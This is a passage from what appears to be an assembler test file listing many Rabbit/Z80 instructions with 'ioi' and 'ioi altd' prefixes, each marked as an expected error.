rrc (ix-128) ; Error ioi altd rrc (iy) ; Error ioi altd rrc (iy+127) ; Error ioi altd rrc (iy-128) ; Error ioi altd sbc (hl) ; Error ioi altd sbc (ix) ; Error ioi altd sbc (ix+127) ; Error ioi altd sbc (ix-128) ; Error ioi altd sbc (iy) ; Error ioi altd sbc (iy+127) ; Error ioi altd sbc (iy-128) ; Error ioi altd sbc a, (hl) ; Error ioi altd sbc a, (ix) ; Error ioi altd sbc a, (ix+127) ; Error ioi altd sbc a, (ix-128) ; Error ioi altd sbc a, (iy) ; Error ioi altd sbc a, (iy+127) ; Error ioi altd sbc a, (iy-128) ; Error ioi altd sla (hl) ; Error ioi altd sla (ix) ; Error ioi altd sla (ix+127) ; Error ioi altd sla (ix-128) ; Error ioi altd sla (iy) ; Error ioi altd sla (iy+127) ; Error ioi altd sla (iy-128) ; Error ioi altd sra (hl) ; Error ioi altd sra (ix) ; Error ioi altd sra (ix+127) ; Error ioi altd sra (ix-128) ; Error ioi altd sra (iy) ; Error ioi altd sra (iy+127) ; Error ioi altd sra (iy-128) ; Error ioi altd srl (hl) ; Error ioi altd srl (ix) ; Error ioi altd srl (ix+127) ; Error ioi altd srl (ix-128) ; Error ioi altd srl (iy) ; Error ioi altd srl (iy+127) ; Error ioi altd srl (iy-128) ; Error ioi altd sub (hl) ; Error ioi altd sub (ix) ; Error ioi altd sub (ix+127) ; Error ioi altd sub (ix-128) ; Error ioi altd sub (iy) ; Error ioi altd sub (iy+127) ; Error ioi altd sub (iy-128) ; Error ioi altd sub a, (hl) ; Error ioi altd sub a, (ix) ; Error ioi altd sub a, (ix+127) ; Error ioi altd sub a, (ix-128) ; Error ioi altd sub a, (iy) ; Error ioi altd sub a, (iy+127) ; Error ioi altd sub a, (iy-128) ; Error ioi altd xor (hl) ; Error ioi altd xor (ix) ; Error ioi altd xor (ix+127) ; Error ioi altd xor (ix-128) ; Error ioi altd xor (iy) ; Error ioi altd xor (iy+127) ; Error ioi altd xor (iy-128) ; Error ioi altd xor a, (hl) ; Error ioi altd xor a, (ix) ; Error ioi altd xor a, (ix+127) ; Error ioi altd xor a, (ix-128) ; Error ioi altd xor a, (iy) ; Error ioi altd xor a, (iy+127) ; Error ioi altd xor a, (iy-128) ; Error ioi and (hl) ; Error ioi and (ix) ; Error ioi and (ix+127) ; Error ioi and (ix-128) ; Error ioi and (iy) ; Error ioi and (iy+127) ; Error ioi and (iy-128) ; Error ioi and a', (hl) ; Error ioi and a', (ix) ; Error ioi and a', (ix+127) ; Error ioi and a', (ix-128) ; Error ioi and a', (iy) ; Error ioi and a', (iy+127) ; Error ioi and a', (iy-128) ; Error ioi and a, (hl) ; Error ioi and a, (ix) ; Error ioi and a, (ix+127) ; Error ioi and a, (ix-128) ; Error ioi and a, (iy) ; Error ioi and a, (iy+127) ; Error ioi and a, (iy-128) ; Error ioi bit -1, (hl) ; Error ioi bit -1, (hl) ; Error ioi bit -1, (ix) ; Error ioi bit -1, (ix) ; Error ioi bit -1, (ix+127) ; Error ioi bit -1, (ix+127) ; Error ioi bit -1, (ix-128) ; Error ioi bit -1, (ix-128) ; Error ioi bit -1, (iy) ; Error ioi bit -1, (iy) ; Error ioi bit -1, (iy+127) ; Error ioi bit -1, (iy+127) ; Error ioi bit -1, (iy-128) ; Error ioi bit -1, (iy-128) ; Error ioi bit 0, (hl) ; Error ioi bit 0, (ix) ; Error ioi bit 0, (ix+127) ; Error ioi bit 0, (ix-128) ; Error ioi bit 0, (iy) ; Error ioi bit 0, (iy+127) ; Error ioi bit 0, (iy-128) ; Error ioi bit 1, (hl) ; Error ioi bit 1, (ix) ; Error ioi bit 1, (ix+127) ; Error ioi bit 1, (ix-128) ; Error ioi bit 1, (iy) ; Error ioi bit 1, (iy+127) ; Error ioi bit 1, (iy-128) ; Error ioi bit 2, (hl) ; Error ioi bit 2, (ix) ; Error ioi bit 2, (ix+127) ; Error ioi bit 2, (ix-128) ; Error ioi bit 2, (iy) ; Error ioi bit 2, (iy+127) ; Error ioi bit 2, (iy-128) ; Error ioi bit 3, (hl) ; Error ioi bit 3, (ix) ; Error ioi bit 3, (ix+127) ; Error ioi bit 3, (ix-128) ; Error ioi bit 3, (iy) ; Error ioi bit 3, (iy+127) ; Error ioi bit 3, (iy-128) ; Error ioi bit 4, (hl) ; Error ioi bit 4, (ix) ; Error ioi bit 4, (ix+127) ; Error ioi bit 4, (ix-128) ; Error ioi bit 4, (iy) ; Error ioi bit 4, (iy+127) ; Error ioi bit 4, (iy-128) ; Error ioi bit 5, (hl) ; Error ioi bit 5, (ix) ; Error ioi bit 5, (ix+127) ; Error ioi bit 5, (ix-128) ; Error ioi bit 5, (iy) ; Error ioi bit 5, (iy+127) ; Error ioi bit 5, (iy-128) ; Error ioi bit 6, (hl) ; Error ioi bit 6, (ix) ; Error ioi bit 6, (ix+127) ; Error ioi bit 6, (ix-128) ; Error ioi bit 6, (iy) ; Error ioi bit 6, (iy+127) ; Error ioi bit 6, (iy-128) ; Error ioi bit 7, (hl) ; Error ioi bit 7, (ix) ; Error ioi bit 7, (ix+127) ; Error ioi bit 7, (ix-128) ; Error ioi bit 7, (iy) ; Error ioi bit 7, (iy+127) ; Error ioi bit 7, (iy-128) ; Error ioi bit 8, (hl) ; Error ioi bit 8, (hl) ; Error ioi bit 8, (ix) ; Error ioi bit 8, (ix) ; Error ioi bit 8, (ix+127) ; Error ioi bit 8, (ix+127) ; Error ioi bit 8, (ix-128) ; Error ioi bit 8, (ix-128) ; Error ioi bit 8, (iy) ; Error ioi bit 8, (iy) ; Error ioi bit 8, (iy+127) ; Error ioi bit 8, (iy+127) ; Error ioi bit 8, (iy-128) ; Error ioi bit 8, (iy-128) ; Error ioi bit.a -1, (hl) ; Error ioi bit.a -1, (hl) ; Error ioi bit.a -1, (ix) ; Error ioi bit.a -1, (ix) ; Error ioi bit.a -1, (ix+127) ; Error ioi bit.a -1, (ix+127) ; Error ioi bit.a -1, (ix-128) ; Error ioi bit.a -1, (ix-128) ; Error ioi bit.a -1, (iy) ; Error ioi bit.a -1, (iy) ; Error ioi bit.a -1, (iy+127) ; Error ioi bit.a -1, (iy+127) ; Error ioi bit.a -1, (iy-128) ; Error ioi bit.a -1, (iy-128) ; Error ioi bit.a 0, (hl) ; Error ioi bit.a 0, (ix) ; Error ioi bit.a 0, (ix+127) ; Error ioi bit.a 0, (ix-128) ; Error ioi bit.a 0, (iy) ; Error ioi bit.a 0, (iy+127) ; Error ioi bit.a 0, (iy-128) ; Error ioi bit.a 1, (hl) ; Error ioi bit.a 1, (ix) ; Error ioi bit.a 1, (ix+127) ; Error ioi bit.a 1, (ix-128) ; Error ioi bit.a 1, (iy) ; Error ioi bit.a 1, (iy+127) ; Error ioi bit.a 1, (iy-128) ; Error ioi bit.a 2, (hl) ; Error ioi bit.a 2, (ix) ; Error ioi bit.a 2, (ix+127) ; Error ioi bit.a 2, (ix-128) ; Error ioi bit.a 2, (iy) ; Error ioi bit.a 2, (iy+127) ; Error ioi bit.a 2, (iy-128) ; Error ioi bit.a 3, (hl) ; Error ioi bit.a 3, (ix) ; Error ioi bit.a 3, (ix+127) ; Error ioi bit.a 3, (ix-128) ; Error ioi bit.a 3, (iy) ; Error ioi bit.a 3, (iy+127) ; Error ioi bit.a 3, (iy-128) ; Error ioi bit.a 4, (hl) ; Error ioi bit.a 4, (ix) ; Error ioi bit.a 4, (ix+127) ; Error ioi bit.a 4, (ix-128) ; Error ioi bit.a 4, (iy) ; Error ioi bit.a 4, (iy+127) ; Error ioi bit.a 4, (iy-128) ; Error ioi bit.a 5, (hl) ; Error ioi bit.a 5, (ix) ; Error ioi bit.a 5, (ix+127) ; Error ioi bit.a 5, (ix-128) ; Error ioi bit.a 5, (iy) ; Error ioi bit.a 5, (iy+127) ; Error ioi bit.a 5, (iy-128) ; Error ioi bit.a 6, (hl) ; Error ioi bit.a 6, (ix) ; Error ioi bit.a 6, (ix+127) ; Error ioi bit.a 6, (ix-128) ; Error ioi bit.a 6, (iy) ; Error ioi bit.a 6, (iy+127) ; Error ioi bit.a 6, (iy-128) ; Error ioi bit.a 7, (hl) ; Error ioi bit.a 7, (ix) ; Error ioi bit.a 7, (ix+127) ; Error ioi bit.a 7, (ix-128) ; Error ioi bit.a 7, (iy) ; Error ioi bit.a 7, (iy+127) ; Error ioi bit.a 7, (iy-128) ; Error ioi bit.a 8, (hl) ; Error ioi bit.a 8, (hl) ; Error ioi bit.a 8, (ix) ; Error ioi bit.a 8, (ix) ; Error ioi bit.a 8, (ix+127) ; Error ioi bit.a 8, (ix+127) ; Error ioi bit.a 8, (ix-128) ; Error ioi bit.a 8, (ix-128) ; Error ioi bit.a 8, (iy) ; Error ioi bit.a 8, (iy) ; Error ioi bit.a 8, (iy+127) ; Error ioi bit.a 8, (iy+127) ; Error ioi bit.a 8, (iy-128) ; Error ioi bit.a 8, (iy-128) ; Error ioi cmp (hl) ; Error ioi cmp (ix) ; Error ioi cmp (ix+127) ; Error ioi cmp (ix-128) ; Error ioi cmp (iy) ; Error ioi cmp (iy+127) ; Error ioi cmp (iy-128) ; Error ioi cmp a, (hl) ; Error ioi cmp a, (ix) ; Error ioi cmp a, (ix+127) ; Error ioi cmp a, (ix-128) ; Error ioi cmp a, (iy) ; Error ioi cmp a, (iy+127) ; Error ioi cmp a, (iy-128) ; Error ioi cp (hl) ; Error ioi cp (ix) ; Error ioi cp (ix+127) ; Error ioi cp (ix-128) ; Error ioi cp (iy) ; Error ioi cp (iy+127) ; Error ioi cp (iy-128) ; Error ioi cp a, (hl) ; Error ioi cp a, (ix) ; Error ioi cp a, (ix+127) ; Error ioi cp a, (ix-128) ; Error ioi cp a, (iy) ; Error ioi cp a, (iy+127) ; Error ioi cp a, (iy-128) ; Error ioi dec (hl) ; Error ioi dec (ix) ; Error ioi dec (ix+127) ; Error ioi dec (ix-128) ; Error ioi dec (iy) ; Error ioi dec (iy+127) ; Error ioi dec (iy-128) ; Error ioi inc (hl) ; Error ioi inc (ix) ; Error ioi inc (ix+127) ; Error ioi inc (ix-128) ; Error ioi inc (iy) ; Error ioi inc (iy+127) ; Error ioi inc (iy-128) ; Error ioi ld (-32768), a ; Error ioi ld (-32768), bc ; Error ioi ld (-32768), de ; Error ioi ld (-32768), hl ; Error ioi ld (-32768), ix ; Error ioi ld (-32768), iy ; Error ioi ld (-32768), sp ; Error ioi ld (32767), a ; Error ioi ld (32767), bc ; Error ioi ld (32767), de ; Error ioi ld (32767), hl ; Error ioi ld (32767), ix ; Error ioi ld (32767), iy ; Error ioi ld (32767), sp ; Error ioi ld (65535), a ; Error ioi ld (65535), bc ; Error ioi ld (65535), de ; Error ioi ld (65535), hl ; Error ioi ld (65535), ix ; Error ioi ld (65535), iy ; Error ioi ld (65535), sp ; Error ioi ld (bc), a ; Error ioi ld (bc+), a ; Error ioi ld (bc-), a ; Error ioi ld (de), a ; Error ioi ld (de+), a ; Error ioi ld (de-), a ; Error ioi ld (hl), -128 ; Error ioi ld (hl), 127 ; Error ioi ld (hl), 255 ; Error ioi ld (hl), a ; Error ioi ld (hl), b ; Error ioi ld (hl), c ; Error ioi ld (hl), d ; Error ioi ld (hl), e ; Error ioi ld (hl), h ; Error ioi ld (hl), hl ; Error ioi ld (hl), l ; Error ioi ld (hl+), a ; Error ioi ld (hl+127), hl ; Error ioi ld (hl-), a ; Error ioi ld (hl-128), hl ; Error ioi ld (hld), a ; Error ioi ld (hli), a ; Error ioi ld (ix), -128 ; Error ioi ld (ix), 127 ; Error ioi ld (ix), 255 ; Error ioi ld (ix), a ; Error ioi ld (ix), b ; Error ioi ld (ix), c ; Error ioi ld (ix), d ; Error ioi ld (ix), e ; Error ioi ld (ix), h ; Error ioi ld (ix), hl ; Error ioi ld (ix), l ; Error ioi ld (ix+127), -128 ; Error ioi ld (ix+127), 127 ; Error ioi ld (ix+127), 255 ; Error ioi ld (ix+127), a ; Error ioi ld (ix+127), b ; Error ioi ld (ix+127), c ; Error ioi ld (ix+127), d ; Error ioi ld (ix+127), e ; Error ioi ld (ix+127), h ; Error ioi ld (ix+127), hl ; Error ioi ld (ix+127), l ; Error ioi ld (ix-128), -128 ; Error ioi ld (ix-128), 127 ; Error ioi ld (ix-128), 255 ; Error ioi ld (ix-128), a ; Error ioi ld (ix-128), b ; Error ioi ld (ix-128), c ; Error ioi ld (ix-128), d ; Error ioi ld (ix-128), e ; Error ioi ld (ix-128), h ; Error ioi ld (ix-128), hl ; Error ioi ld (ix-128), l ; Error ioi ld (iy), -128 ; Error ioi ld (iy), 127 ; Error ioi ld (iy), 255 ; Error ioi ld (iy), a ; Error ioi ld (iy), b ; Error ioi ld (iy), c ; Error ioi ld (iy), d ; Error ioi ld (iy), e ; Error ioi ld (iy), h ; Error ioi ld (iy), hl ; Error ioi ld (iy), l ; Error ioi ld (iy+127), -128 ; Error ioi ld (iy+127), 127 ; Error ioi ld (iy+127), 255 ; Error ioi ld (iy+127), a ; Error ioi ld (iy+127), b ; Error ioi ld (iy+127), c ; Error ioi ld (iy+127), d ; Error ioi ld (iy+127), e ; Error ioi ld (iy+127), h ; Error ioi ld (iy+127), hl ; Error ioi ld (iy+127), l ; Error ioi ld (iy-128), -128 ; Error ioi ld (iy-128), 127 ; Error ioi ld (iy-128), 255 ; Error ioi ld (iy-128), a ; Error ioi ld (iy-128), b ; Error ioi ld (iy-128), c ; Error ioi ld (iy-128), d ; Error ioi ld (iy-128), e ; Error ioi ld (iy-128), h ; Error ioi ld (iy-128), hl ; Error ioi ld (iy-128), l ; Error ioi ld a', (-32768) ; Error ioi ld a', (32767) ; Error ioi ld a', (65535) ; Error ioi ld a', (bc) ; Error ioi ld a', (bc+) ; Error ioi ld a', (bc-) ; Error ioi ld a', (de) ; Error ioi ld a', (de+) ; Error ioi ld a', (de-) ; Error ioi ld a', (hl) ; Error ioi ld a', (hl+) ; Error ioi ld a', (hl-) ; Error ioi ld a', (hld) ; Error ioi ld a', (hli) ; Error ioi ld a', (ix) ; Error ioi ld a', (ix+127) ; Error ioi ld a', (ix-128) ; Error ioi ld a', (iy) ; Error ioi ld a', (iy+127) ; Error ioi ld a', (iy-128) ; Error ioi ld a, (-32768) ; Error ioi ld a, (32767) ; Error ioi ld a, (65535) ; Error ioi ld a, (bc) ; Error ioi ld a, (bc+) ; Error ioi ld a, (bc-) ; Error ioi ld a, (de) ; Error ioi ld a, (de+) ; Error ioi ld a, (de-) ; Error ioi ld a, (hl) ; Error ioi ld a, (hl+) ; Error ioi ld a, (hl-) ; Error ioi ld a, (hld) ; Error ioi ld a, (hli) ; Error ioi ld a, (ix) ; Error ioi ld a, (ix+127) ; Error ioi ld a, (ix-128) ; Error ioi ld a, (iy) ; Error ioi ld a, (iy+127) ; Error ioi ld a, (iy-128) ; Error ioi ld b', (hl) ; Error ioi ld b', (ix) ; Error ioi ld b', (ix+127) ; Error ioi ld b', (ix-128) ; Error ioi ld b', (iy) ; Error ioi ld b', (iy+127) ; Error ioi ld b', (iy-128) ; Error ioi ld b, (hl) ; Error ioi ld b, (ix) ; Error ioi ld b, (ix+127) ; Error ioi ld b, (ix-128) ; Error ioi ld b, (iy) ; Error ioi ld b, (iy+127) ; Error ioi ld b, (iy-128) ; Error ioi ld bc', (-32768) ; Error ioi ld bc', (32767) ; Error ioi ld bc', (65535) ; Error ioi ld bc, (-32768) ; Error ioi ld bc, (32767) ; Error ioi ld bc, (65535) ; Error ioi ld c', (hl) ; Error ioi ld c', (ix) ; Error ioi ld c', (ix+127) ; Error ioi ld c', (ix-128) ; Error ioi ld c', (iy) ; Error ioi ld c', (iy+127) ; Error ioi ld c', (iy-128) ; Error ioi ld c, (hl) ; Error ioi ld c, (ix) ; Error ioi ld c, (ix+127) ; Error ioi ld c, (ix-128) ; Error ioi ld c, (iy) ; Error ioi ld c, (iy+127) ; Error ioi ld c, (iy-128) ; Error ioi ld d', (hl) ; Error ioi ld d', (ix) ; Error ioi ld d', (ix+127) ; Error ioi ld d', (ix-128) ; Error ioi ld d', (iy) ; Error ioi ld d', (iy+127) ; Error ioi ld d', (iy-128) ; Error ioi ld d, (hl) ; Error ioi ld d, (ix) ; Error ioi ld d, (ix+127) ; Error ioi ld d, (ix-128) ; Error ioi ld d, (iy) ; Error ioi ld d, (iy+127) ; Error ioi ld d, (iy-128) ; Error ioi ld de', (-32768) ; Error ioi ld de', (32767) ; Error ioi ld de', (65535) ; Error ioi ld de, (-32768) ; Error ioi ld de, (32767) ; Error ioi ld de, (65535) ; Error ioi ld e', (hl) ; Error ioi ld e', (ix) ; Error ioi ld e', (ix+127) ; Error ioi ld e', (ix-128) ; Error ioi ld e', (iy) ; Error ioi ld e', (iy+127) ; Error ioi ld e', (iy-128) ; Error ioi ld e, (hl) ; Error ioi ld e, (ix) ; Error ioi ld e, (ix+127) ; Error ioi ld e, (ix-128) ; Error ioi ld e, (iy) ; Error ioi ld e, (iy+127) ; Error ioi ld e, (iy-128) ; Error ioi ld h', (hl) ; Error ioi ld h', (ix) ; Error ioi ld h', (ix+127) ; Error ioi ld h', (ix-128) ; Error ioi ld h', (iy) ; Error ioi ld h', (iy+127) ; Error ioi ld h', (iy-128) ; Error ioi ld h, (hl) ; Error ioi ld h, (ix) ; Error ioi ld h, (ix+127) ; Error ioi ld h, (ix-128) ; Error ioi ld h, (iy) ; Error ioi ld h, (iy+127) ; Error ioi ld h, (iy-128) ; Error ioi ld hl', (-32768) ; Error ioi ld hl', (32767) ; Error ioi ld hl', (65535) ; Error ioi ld hl', (hl) ; Error ioi ld hl', (hl+127) ; Error ioi ld hl', (hl-128) ; Error ioi ld hl', (ix) ; Error ioi ld hl', (ix+127) ; Error ioi ld hl', (ix-128) ; Error ioi ld hl', (iy) ; Error ioi ld hl', (iy+127) ; Error ioi ld hl', (iy-128) ; Error ioi ld hl, (-32768) ; Error ioi ld hl, (32767) ; Error ioi ld hl, (65535) ; Error ioi ld hl, (hl) ; Error ioi ld hl, (hl+127) ; Error ioi ld hl, (hl-128) ; Error ioi ld hl, (ix) ; Error ioi ld hl, (ix+127) ; Error ioi ld hl, (ix-128) ; Error ioi ld hl, (iy) ; Error ioi ld hl, (iy+127) ; Error ioi ld hl, (iy-128) ; Error ioi ld ix, (-32768) ; Error ioi ld ix, (32767) ; Error ioi ld ix, (65535) ; Error ioi ld iy, (-32768) ; Error ioi ld iy, (32767) ; Error ioi ld iy, (65535) ; Error ioi ld l', (hl) ; Error ioi ld l', (ix) ; Error ioi ld l', (ix+127) ; Error ioi ld l', (ix-128) ; Error ioi ld l', (iy) ; Error ioi ld l', (iy+127) ; Error ioi ld l', (iy-128) ; Error ioi ld l, (hl) ; Error ioi ld l, (ix) ; Error ioi ld l, (ix+127) ; Error ioi ld l, (ix-128) ; Error ioi ld l, (iy) ; Error ioi ld l, (iy+127) ; Error ioi ld l, (iy-128) ; Error ioi ld sp, (-32768) ; Error ioi ld sp, (32767) ; Error ioi ld sp, (65535) ; Error ioi ldd ; Error ioi ldd (bc), a ; Error ioi ldd (de), a ; Error ioi ldd (hl), a ; Error ioi ldd a, (bc) ; Error ioi ldd a, (de) ; Error ioi ldd a, (hl) ; Error ioi lddr ; Error ioi lddsr ; Error ioi ldi ; Error ioi ldi (bc), a ; Error ioi ldi (de), a ; Error ioi ldi (hl), a ; Error ioi ldi a, (bc) ; Error ioi ldi a, (de) ; Error ioi ldi a, (hl) ; Error ioi ldir ; Error ioi ldisr ; Error ioi lsddr ; Error ioi lsdr ; Error ioi lsidr ; Error ioi lsir ; Error ioi or (hl) ; Error ioi or (ix) ; Error ioi or (ix+127) ; Error ioi or (ix-128) ; Error ioi or (iy) ; Error ioi or (iy+127) ; Error ioi or (iy-128) ; Error ioi or a', (hl) ; Error ioi or a', (ix) ; Error ioi or a', (ix+127) ; Error ioi or a', (ix-128) ; Error ioi or a', (iy) ; Error ioi or a', (iy+127) ; Error ioi or a', (iy-128) ; Error ioi or a, (hl) ; Error ioi or a, (ix) ; Error ioi or a, (ix+127) ; Error ioi or a, (ix-128) ; Error ioi or a, (iy) ; Error ioi or a, (iy+127) ; Error ioi or a, (iy-128) ; Error ioi res -1, (hl) ; Error ioi res -1, (hl) ; Error ioi res -1, (ix) ; Error ioi res -1, (ix) ; Error ioi res -1, (ix+127) ; Error ioi res -1, (ix+127) ; Error ioi res -1, (ix-128) ; Error ioi res -1, (ix-128) ; Error ioi res -1, (iy) ; Error ioi res -1, (iy) ; Error ioi res -1, (iy+127) ; Error ioi res -1, (iy+127) ; Error ioi res -1, (iy-128) ; Error ioi res -1, (iy-128) ; Error ioi res 0, (hl) ; Error ioi res 0, (ix) ; Error ioi res 0, (ix+127) ; Error ioi res 0, (ix-128) ; Error ioi res 0, (iy) ; Error ioi res 0, (iy+127) ; Error ioi res 0, (iy-128) ; Error ioi res 1, (hl) ; Error ioi res 1, (ix) ; Error ioi res 1, (ix+127) ; Error ioi res 1, (ix-128) ; Error ioi res 1, (iy) ; Error ioi res 1, (iy+127) ; Error ioi res 1, (iy-128) ; Error ioi res 2, (hl) ; Error ioi res 2, (ix) ; Error ioi res 2, (ix+127) ; Error ioi res 2, (ix-128) ; Error ioi res 2, (iy) ; Error ioi res 2, (iy+127) ; Error ioi res 2, (iy-128) ; Error ioi res 3, (hl) ; Error ioi res 3, (ix) ; Error ioi res 3, (ix+127) ; Error ioi res 3, (ix-128) ; Error ioi res 3, (iy) ; Error ioi res 3, (iy+127) ; Error ioi res 3, (iy-128) ; Error ioi res 4, (hl) ; Error ioi res 4, (ix) ; Error ioi res 4, (ix+127) ; Error ioi res 4, (ix-128) ; Error ioi res 4, (iy) ; Error ioi res 4, (iy+127) ; Error ioi res 4, (iy-128) ; Error ioi res 5, (hl) ; Error ioi res 5, (ix) ; Error ioi res 5, (ix+127) ; Error ioi res 5, (ix-128) ; Error ioi res 5, (iy) ; Error ioi res 5, (iy+127) ; Error ioi res 5, (iy-128) ; Error ioi res 6, (hl) ; Error ioi res 6, (ix) ; Error ioi res 6, (ix+127) ; Error ioi res 6, (ix-128) ; Error ioi res 6, (iy) ; Error ioi res 6, (iy+127) ; Error ioi res 6, (iy-128) ; Error ioi res 7, (hl) ; Error ioi res 7, (ix) ; Error ioi res 7, (ix+127) ; Error ioi res 7, (ix-128) ; Error ioi res 7, (iy) ; Error ioi res 7, (iy+127) ; Error ioi res 7, (iy-128) ; Error ioi res 8, (hl) ; Error ioi res 8, (hl) ; Error ioi res 8, (ix) ; Error ioi res 8, (ix) ; Error ioi res 8, (ix+127) ; Error ioi res 8, (ix+127) ; Error ioi res 8, (ix-128) ; Error ioi res 8, (ix-128) ; Error ioi res 8, (iy) ; Error ioi res 8, (iy) ; Error ioi res 8, (iy+127) ; Error ioi res 8, (iy+127) ; Error ioi res 8, (iy-128) ; Error ioi res 8, (iy-128) ; Error ioi res.a -1, (hl) ; Error ioi res.a -1, (hl) ; Error ioi res.a -1, (ix) ; Error ioi res.a -1, (ix) ; Error ioi res.a -1, (ix+127) ; Error ioi res.a -1, (ix+127) ; Error ioi res.a -1, (ix-128) ; Error ioi res.a -1, (ix-128) ; Error ioi res.a -1, (iy) ; Error ioi res.a -1, (iy) ; Error ioi res.a -1, (iy+127) ; Error ioi res.a -1, (iy+127) ; Error ioi res.a -1, (iy-128) ; Error ioi res.a -1, (iy-128) ; Error ioi res.a 0, (hl) ; Error ioi res.a 0, (ix) ; Error ioi res.a 0, (ix+127) ; Error ioi res.a 0, (ix-128) ; Error ioi res.a 0, (iy) ; Error ioi res.a 0, (iy+127) ; Error ioi res.a 0, (iy-128) ; Error ioi res.a 1, (hl) ; Error ioi res.a 1, (ix) ; Error ioi res.a 1, (ix+127) ; Error ioi res.a 1, (ix-128) ; Error ioi res.a 1, (iy) ; Error ioi res.a 1, (iy+127) ; Error ioi res.a 1, (iy-128) ; Error ioi res.a 2, (hl) ; Error ioi res.a 2, (ix) ; Error ioi res.a 2, (ix+127) ; Error ioi res.a 2, (ix-128) ; Error ioi res.a 2, (iy) ; Error ioi res.a 2, (iy+127) ; Error ioi res.a 2, (iy-128) ; Error ioi res.a 3, (hl) ; Error ioi res.a 3, (ix) ; Error ioi res.a 3, (ix+127) ; Error ioi res.a 3, (ix-128) ; Error ioi res.a 3, (iy) ; Error ioi res.a 3, (iy+127) ; Error ioi res.a 3, (iy-128) ; Error ioi res.a 4, (hl) ; Error ioi res.a 4, (ix) ; Error ioi res.a 4, (ix+127) ; Error ioi res.a 4, (ix-128) ; Error ioi res.a 4, (iy) ; Error ioi res.a 4, (iy+127) ; Error ioi res.a 4, (iy-128) ; Error ioi res.a 5, (hl) ; Error ioi res.a 5, (ix) ; Error ioi res.a 5, (ix+127) ; Error ioi res.a 5, (ix-128) ; Error ioi res.a 5, (iy) ; Error ioi res.a 5, (iy+127) ; Error ioi res.a 5, (iy-128) ; Error ioi res.a 6, (hl) ; Error ioi res.a 6, (ix) ; Error ioi res.a 6, (ix+127) ; Error ioi res.a 6, (ix-128) ; Error ioi res.a 6, (iy) ; Error ioi res.a 6, (iy+127) ; Error ioi res.a 6, (iy-128) ; Error ioi res.a 7, (hl) ; Error ioi res.a 7, (ix) ; Error ioi res.a 7, (ix+127) ; Error ioi res.a 7, (ix-128) ; Error ioi res.a 7, (iy) ; Error ioi res.a 7, (iy+127) ; Error ioi res.a 7, (iy-128) ; Error ioi res.a 8, (hl) ; Error ioi res.a 8, (hl) ; Error ioi res.a 8, (ix) ; Error ioi res.a 8, (ix) ; Error ioi res.a 8, (ix+127) ; Error ioi res.a 8, (ix+127) ; Error ioi res.a 8, (ix-128) ; Error ioi res.a 8, (ix-128) ; Error ioi res.a 8, (iy) ; Error ioi res.a 8, (iy) ; Error ioi res.a 8, (iy+127) ; Error ioi res.a 8, (iy+127) ; Error ioi res.a 8, (iy-128) ; Error ioi res.a 8, (iy-128) ; Error ioi rl (hl) ; Error ioi rl (ix) ; Error ioi rl (ix+127) ; Error ioi rl (ix-128) ; Error ioi rl (iy) ; Error ioi rl (iy+127) ; Error ioi rl (iy-128) ; Error ioi rlc (hl) ; Error ioi rlc (ix) ; Error ioi rlc (ix+127) ; Error ioi rlc (ix-128) ; Error ioi rlc (iy) ; Error ioi rlc (iy+127) ; Error ioi rlc (iy-128) ; Error ioi rr (hl) ; Error ioi rr (ix) ; Error ioi rr (ix+127) ; Error ioi rr (ix-128) ; Error ioi rr (iy) ; Error ioi rr (iy+127) ; Error ioi rr (iy-128) ; Error ioi rrc (hl) ; Error ioi rrc (ix) ; Error ioi rrc (ix+127) ; Error ioi rrc (ix-128) ; Error ioi rrc (iy) ; Error ioi rrc (iy+127) ; Error ioi rrc (iy-128) ; Error ioi sbc (hl) ; Error ioi sbc (ix) ; Error ioi sbc (ix+127) ; Error ioi sbc (ix-128) ; Error ioi sbc (iy) ; Error ioi sbc (iy+127) ; Error ioi sbc (iy-128) ; Error ioi sbc a', (hl) ; Error ioi sbc a', (ix) ; Error ioi sbc a', (ix+127) ; Error ioi sbc a', (ix-128) ; Error ioi sbc a', (iy) ; Error ioi sbc a', (iy+127) ; Error ioi sbc a', (iy-128) ; Error ioi sbc a, (hl) ; Error ioi sbc a, (ix) ; Error ioi sbc a, (ix+127) ; Error ioi sbc a, (ix-128) ; Error ioi sbc a, (iy) ; Error ioi sbc a, (iy+127) ; Error ioi sbc a, (iy-128) ; Error ioi set -1, (hl) ; Error ioi set -1, (hl) ; Error ioi set -1, (ix) ; Error ioi set -1, (ix) ; Error ioi set -1, (ix+127) ; Error ioi set -1, (ix+127) ; Error ioi set -1, (ix-128) ; Error ioi set -1, (ix-128) ; Error ioi set -1, (iy) ; Error ioi set -1, (iy) ; Error ioi set -1, (iy+127) ; Error ioi set -1, (iy+127) ; Error ioi set -1, (iy-128) ; Error ioi set -1, (iy-128) ; Error ioi set 0, (hl) ; Error ioi set 0, (ix) ; Error ioi set 0, (ix+127) ; Error ioi set 0, (ix-128) ; Error ioi set 0, (iy) ; Error ioi set 0, (iy+127) ; Error ioi set 0, (iy-128) ; Error ioi set 1, (hl) ; Error ioi set 1, (ix) ; Error ioi set 1, (ix+127) ; Error ioi set 1, (ix-128) ; Error ioi set 1, (iy) ; Error ioi set 1, (iy+127) ; Error ioi set 1, (iy-128) ; Error ioi set 2, (hl) ; Error ioi set 2, (ix) ; Error ioi set 2, (ix+127) ; Error ioi set 2, (ix-128) ; Error ioi set 2, (iy) ; Error ioi set 2, (iy+127) ; Error ioi set 2, (iy-128) ; Error ioi set 3, (hl) ; Error ioi set 3, (ix) ; Error ioi set 3, (ix+127) ; Error ioi set 3, (ix-128) ; Error ioi set 3, (iy) ; Error ioi set 3, (iy+127) ; Error ioi set 3, (iy-128) ; Error ioi set 4, (hl) ; Error ioi set 4, (ix) ; Error ioi set 4, (ix+127) ; Error ioi set 4, (ix-128) ; Error ioi set 4, (iy) ; Error ioi set 4, (iy+127) ; Error ioi set 4, (iy-128) ; Error ioi set 5, (hl) ; Error ioi set 5, (ix) ; Error ioi set 5, (ix+127) ; Error ioi set 5, (ix-128) ; Error ioi set 5, (iy) ; Error ioi set 5, (iy+127) ; Error ioi set 5, (iy-128) ; Error ioi set 6, (hl) ; Error ioi set 6, (ix) ; Error ioi set 6, (ix+127) ; Error ioi set 6, (ix-128) ; Error ioi set 6, (iy) ; Error ioi set 6, (iy+127) ; Error ioi set 6, (iy-128) ; Error ioi set 7, (hl) ; Error ioi set 7, (ix) ; Error ioi set 7, (ix+127) ; Error ioi set 7, (ix-128) ; Error ioi set 7, (iy) ; Error ioi set 7, (iy+127) ; Error ioi set 7, (iy-128) ; Error ioi set 8, (hl) ; Error ioi set 8, (hl) ; Error ioi set 8, (ix) ; Error ioi set 8, (ix) ; Error ioi set 8, (ix+127) ; Error ioi set 